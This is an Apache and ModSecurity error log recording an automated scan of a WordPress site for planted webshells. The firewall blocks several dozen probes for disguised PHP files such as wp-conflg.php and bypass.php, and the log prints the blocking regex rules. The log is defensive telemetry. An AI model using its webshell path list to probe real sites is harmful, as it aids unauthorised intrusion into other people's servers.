[Sat Feb 28 08:42:54.977798 2026] [proxy_fcgi:error] [pid 11791:tid 11795] [client 173.244.55.23:28505] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:42:55.414434 2026] [:error] [pid 11791:tid 11799] [client 173.244.55.23:28505] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "aaI6D2uX5e1Q32gqxH0RFAAAAQY"]
[Sat Feb 28 08:42:56.763771 2026] [proxy_fcgi:error] [pid 11791:tid 11799] [client 173.244.55.20:41795] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:42:57.209477 2026] [proxy_fcgi:error] [pid 11791:tid 11809] [client 173.244.55.20:41795] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:42:58.090333 2026] [proxy_fcgi:error] [pid 11791:tid 11799] [client 173.244.55.20:41795] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:42:59.407190 2026] [:error] [pid 11791:tid 11802] [client 173.244.55.20:41795] [client 173.244.55.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/Parse/about.php"] [unique_id "aaI6E2uX5e1Q32gqxH0RTwAAAQk"]
[Sat Feb 28 08:43:00.295734 2026] [proxy_fcgi:error] [pid 22194:tid 22202] [client 173.244.55.26:60631] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:43:01.636313 2026] [:error] [pid 22194:tid 22207] [client 173.244.55.26:60631] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "aaI6FX6mbajs3bzQGyuRngAAAUs"]
[Sat Feb 28 08:43:02.957247 2026] [proxy_fcgi:error] [pid 39292:tid 39318] [client 173.244.55.22:55309] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:43:04.278591 2026] [proxy_fcgi:error] [pid 39292:tid 39299] [client 173.244.55.22:55309] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:43:04.718135 2026] [proxy_fcgi:error] [pid 39292:tid 39297] [client 173.244.55.22:55309] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:43:05.590791 2026] [:error] [pid 39292:tid 39306] [client 173.244.55.22:55309] [client 173.244.55.22] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.244.55.22, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/css/colors/ocean/wp-login.php"] [unique_id "aaI6GaIAO5fN7BxyqcEnpwAAAMw"]
[Sat Feb 28 08:43:06.482199 2026] [proxy_fcgi:error] [pid 39292:tid 39300] [client 173.244.55.22:55309] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:43:07.810784 2026] [:error] [pid 39292:tid 39308] [client 173.244.55.22:55309] [client 173.244.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/Cache/upfile.php"] [unique_id "aaI6G6IAO5fN7BxyqcEnxgAAAM4"]
[Sat Feb 28 08:43:08.705509 2026] [proxy_fcgi:error] [pid 39292:tid 39294] [client 173.244.55.22:34861] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:43:09.145431 2026] [:error] [pid 39292:tid 39311] [client 173.244.55.22:34861] [client 173.244.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "aaI6HaIAO5fN7BxyqcEn0AAAANE"]
[Sat Feb 28 08:43:10.028996 2026] [proxy_fcgi:error] [pid 11791:tid 11795] [client 173.244.55.20:49099] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:43:10.467676 2026] [:error] [pid 11791:tid 11805] [client 173.244.55.20:49099] [client 173.244.55.20] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/index.php"] [unique_id "aaI6HmuX5e1Q32gqxH0R-AAAAQw"]
[Sat Feb 28 08:43:11.796857 2026] [proxy_fcgi:error] [pid 39292:tid 39295] [client 173.244.55.29:54945] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:43:12.686492 2026] [:error] [pid 39292:tid 39307] [client 173.244.55.29:54945] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-function.php"] [unique_id "aaI6IKIAO5fN7BxyqcEn-gAAAM0"]
[Sat Feb 28 08:43:14.002943 2026] [:error] [pid 39185:tid 39269] [client 173.244.55.30:43713] [client 173.244.55.30] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-files.php"] [unique_id "aaI6IhVE-FfM89u7BQaZxQAAAJc"]
[Sat Feb 28 08:43:14.886371 2026] [proxy_fcgi:error] [pid 39184:tid 39224] [client 173.244.55.20:38327] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:43:15.328352 2026] [proxy_fcgi:error] [pid 39184:tid 39228] [client 173.244.55.20:38327] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:43:16.221231 2026] [:error] [pid 39184:tid 39221] [client 173.244.55.20:38327] [client 173.244.55.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/Canonical.php"] [unique_id "aaI6JFtZF9Zd_U7easB5SAAAAEI"]
[Sat Feb 28 08:43:17.552024 2026] [:error] [pid 39292:tid 39299] [client 173.244.55.25:43471] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "aaI6JaIAO5fN7BxyqcEoPAAAAMU"]
[Sat Feb 28 08:43:18.426738 2026] [proxy_fcgi:error] [pid 11791:tid 11801] [client 173.244.55.21:40563] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:43:18.867508 2026] [proxy_fcgi:error] [pid 11791:tid 11793] [client 173.244.55.21:40563] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:43:19.741604 2026] [:error] [pid 11791:tid 11800] [client 173.244.55.21:40563] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-feed-index.php"] [unique_id "aaI6J2uX5e1Q32gqxH0SjQAAAQc"]
[Sat Feb 28 08:43:20.656463 2026] [proxy_fcgi:error] [pid 11791:tid 11814] [client 173.244.55.25:30225] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:43:21.554445 2026] [proxy_fcgi:error] [pid 11791:tid 11796] [client 173.244.55.25:30225] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:43:21.998298 2026] [:error] [pid 11791:tid 11810] [client 173.244.55.25:30225] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php"] [unique_id "aaI6KWuX5e1Q32gqxH0SpwAAARE"]
[Sat Feb 28 08:43:23.313978 2026] [:error] [pid 39292:tid 39294] [client 173.244.55.25:41575] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/db.php"] [unique_id "aaI6K6IAO5fN7BxyqcEoggAAAMA"]
[Sat Feb 28 08:43:24.201854 2026] [:error] [pid 22194:tid 22220] [client 173.244.55.23:45881] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-wp-dependency-float.php"] [unique_id "aaI6LH6mbajs3bzQGyuS2wAAAVg"]
[Sat Feb 28 08:43:25.082698 2026] [:error] [pid 39292:tid 39299] [client 173.244.55.23:42585] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "aaI6LaIAO5fN7BxyqcEonAAAAMU"]
[Sat Feb 28 08:43:25.971002 2026] [:error] [pid 39292:tid 39303] [client 173.244.55.21:37441] [client 173.244.55.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/purna.php"] [unique_id "aaI6LaIAO5fN7BxyqcEorgAAAMk"]
[Sat Feb 28 08:43:26.845272 2026] [:error] [pid 22194:tid 22218] [client 173.244.55.25:35161] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-class.php"] [unique_id "aaI6Ln6mbajs3bzQGyuTDAAAAVY"]
[Sat Feb 28 08:43:27.730825 2026] [:error] [pid 22194:tid 22197] [client 173.244.55.28:21481] [client 173.244.55.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/l10n/class-wp-widddget-pages.php"] [unique_id "aaI6L36mbajs3bzQGyuTHQAAAUE"]
[Sat Feb 28 08:43:30.806126 2026] [:error] [pid 22194:tid 22216] [client 173.244.55.23:61087] [client 173.244.55.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php"] [unique_id "aaI6Mn6mbajs3bzQGyuTZwAAAVQ"]
[Sat Feb 28 08:43:31.677235 2026] [:error] [pid 39292:tid 39310] [client 173.244.55.22:23171] [client 173.244.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php"] [unique_id "aaI6M6IAO5fN7BxyqcEpAQAAANA"]
[Sat Feb 28 08:43:32.559275 2026] [:error] [pid 11791:tid 11797] [client 173.244.55.31:40969] [client 173.244.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/module.audio-video.riff-set.php"] [unique_id "aaI6NGuX5e1Q32gqxH0THAAAAQQ"]
[Sat Feb 28 08:43:33.883338 2026] [:error] [pid 11791:tid 11815] [client 173.244.55.30:23663] [client 173.244.55.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/utils/license.php"] [unique_id "aaI6NWuX5e1Q32gqxH0TNAAAARY"]
[Sat Feb 28 08:43:35.688746 2026] [:error] [pid 11791:tid 11815] [client 173.244.55.26:23505] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/options.php"] [unique_id "aaI6N2uX5e1Q32gqxH0TXgAAARY"]
[Sat Feb 28 08:43:36.580720 2026] [proxy_fcgi:error] [pid 11791:tid 11808] [client 173.244.55.21:26229] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:43:37.455177 2026] [:error] [pid 11791:tid 11793] [client 173.244.55.21:26229] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/aahana/worksec.php"] [unique_id "aaI6OWuX5e1Q32gqxH0TggAAAQA"]
[Sat Feb 28 08:43:39.230334 2026] [:error] [pid 39292:tid 39296] [client 173.244.55.26:51641] [client 173.244.55.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "aaI6O6IAO5fN7BxyqcEpXgAAAMI"]
[Sat Feb 28 08:43:40.110941 2026] [:error] [pid 39184:tid 39219] [client 173.244.55.21:48863] [client 173.244.55.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.244.55.21, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/bltm/wp-login.php"] [unique_id "aaI6PFtZF9Zd_U7easB5uAAAAEA"]
[Sat Feb 28 08:43:41.469592 2026] [:error] [pid 39184:tid 39223] [client 173.244.55.21:48863] [client 173.244.55.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/includes/class-core-upgrader-first.php"] [unique_id "aaI6PVtZF9Zd_U7easB5zAAAAEQ"]
[Sat Feb 28 08:43:43.255761 2026] [proxy_fcgi:error] [pid 22194:tid 22210] [client 173.244.55.25:37205] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:43:43.706838 2026] [:error] [pid 22194:tid 22200] [client 173.244.55.25:37205] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/feed-rsss.php"] [unique_id "aaI6P36mbajs3bzQGyuUEgAAAUQ"]
[Sat Feb 28 08:43:44.590793 2026] [:error] [pid 39185:tid 39253] [client 173.244.55.22:59955] [client 173.244.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/goto.php"] [unique_id "aaI6QBVE-FfM89u7BQaasAAAAIc"]
[Sat Feb 28 08:43:46.809462 2026] [proxy_fcgi:error] [pid 11791:tid 11798] [client 173.244.55.25:49071] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:43:47.254801 2026] [proxy_fcgi:error] [pid 11791:tid 11811] [client 173.244.55.25:49071] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:43:48.134418 2026] [:error] [pid 11791:tid 11809] [client 173.244.55.25:49071] [client 173.244.55.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/revslider/includes/external/page/index.php"] [unique_id "aaI6RGuX5e1Q32gqxH0UYQAAARA"]
[Sat Feb 28 08:43:49.954442 2026] [proxy_fcgi:error] [pid 11791:tid 11806] [client 173.244.55.23:41847] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:43:50.413998 2026] [proxy_fcgi:error] [pid 11791:tid 11808] [client 173.244.55.23:41847] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:43:52.200477 2026] [proxy_fcgi:error] [pid 11791:tid 11817] [client 173.244.55.23:41847] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:43:52.651330 2026] [:error] [pid 11791:tid 11816] [client 173.244.55.23:41847] [client 173.244.55.23] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/options-reading.php"] [unique_id "aaI6SGuX5e1Q32gqxH0UvQAAARc"]
[Sat Feb 28 08:43:53.538473 2026] [proxy_fcgi:error] [pid 22194:tid 22216] [client 173.244.55.20:46923] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:43:53.982311 2026] [proxy_fcgi:error] [pid 22194:tid 22198] [client 173.244.55.20:46923] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:43:54.429453 2026] [proxy_fcgi:error] [pid 22194:tid 22216] [client 173.244.55.20:46923] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:43:54.872134 2026] [:error] [pid 22194:tid 22202] [client 173.244.55.20:46923] [client 173.244.55.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aaI6Sn6mbajs3bzQGyuUqAAAAUY"]
[Sat Feb 28 08:43:55.760633 2026] [:error] [pid 22194:tid 22203] [client 173.244.55.29:65419] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/wp_class_datlib.php"] [unique_id "aaI6S36mbajs3bzQGyuUuAAAAUc"]
[Sat Feb 28 08:43:56.666021 2026] [:error] [pid 39184:tid 39231] [client 173.244.55.25:47117] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "aaI6TFtZF9Zd_U7easB6BgAAAEw"]
[Sat Feb 28 08:43:58.007326 2026] [proxy_fcgi:error] [pid 11791:tid 11814] [client 173.244.55.26:41607] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:43:58.452218 2026] [proxy_fcgi:error] [pid 11791:tid 11817] [client 173.244.55.26:41607] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:43:59.356850 2026] [proxy_fcgi:error] [pid 11791:tid 11795] [client 173.244.55.26:41607] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:44:00.248509 2026] [:error] [pid 11791:tid 11814] [client 173.244.55.26:41607] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/Registry-private.php"] [unique_id "aaI6UGuX5e1Q32gqxH0VNwAAARU"]
[Sat Feb 28 08:44:01.121713 2026] [:error] [pid 39185:tid 39248] [client 173.244.55.29:60583] [client 173.244.55.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/script-modules-packages.min-meta.php"] [unique_id "aaI6URVE-FfM89u7BQabLAAAAII"]
[Sat Feb 28 08:44:02.009014 2026] [:error] [pid 39184:tid 39234] [client 173.244.55.31:21509] [client 173.244.55.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/bypass.php"] [unique_id "aaI6UltZF9Zd_U7easB6DgAAAE8"]
[Sat Feb 28 08:44:04.684147 2026] [:error] [pid 39184:tid 39227] [client 173.244.55.25:41825] [client 173.244.55.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/adminfus.php"] [unique_id "aaI6VFtZF9Zd_U7easB6IQAAAEg"]
[Sat Feb 28 08:44:06.004691 2026] [:error] [pid 11791:tid 11801] [client 173.244.55.28:55245] [client 173.244.55.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/group/wp-style.php"] [unique_id "aaI6VmuX5e1Q32gqxH0VmQAAAQg"]
[Sat Feb 28 08:44:07.781200 2026] [:error] [pid 39292:tid 39303] [client 173.244.55.26:56795] [client 173.244.55.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/class-wp-wolf-widget.php"] [unique_id "aaI6V6IAO5fN7BxyqcEqdQAAAMk"]
[Sat Feb 28 08:44:09.560817 2026] [proxy_fcgi:error] [pid 11791:tid 11796] [client 173.244.55.22:30667] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:44:10.456465 2026] [proxy_fcgi:error] [pid 11791:tid 11797] [client 173.244.55.22:30667] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 08:44:13.579948 2026] [:error] [pid 11791:tid 11803] [client 173.244.55.22:30667] [client 173.244.55.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "aaI6XWuX5e1Q32gqxH0WhgAAAQo"]
[Sat Feb 28 08:44:14.459466 2026] [proxy_fcgi:error] [pid 39185:tid 39260] [client 173.244.55.28:36931] AH01071: Got error 'Primary script unknown'
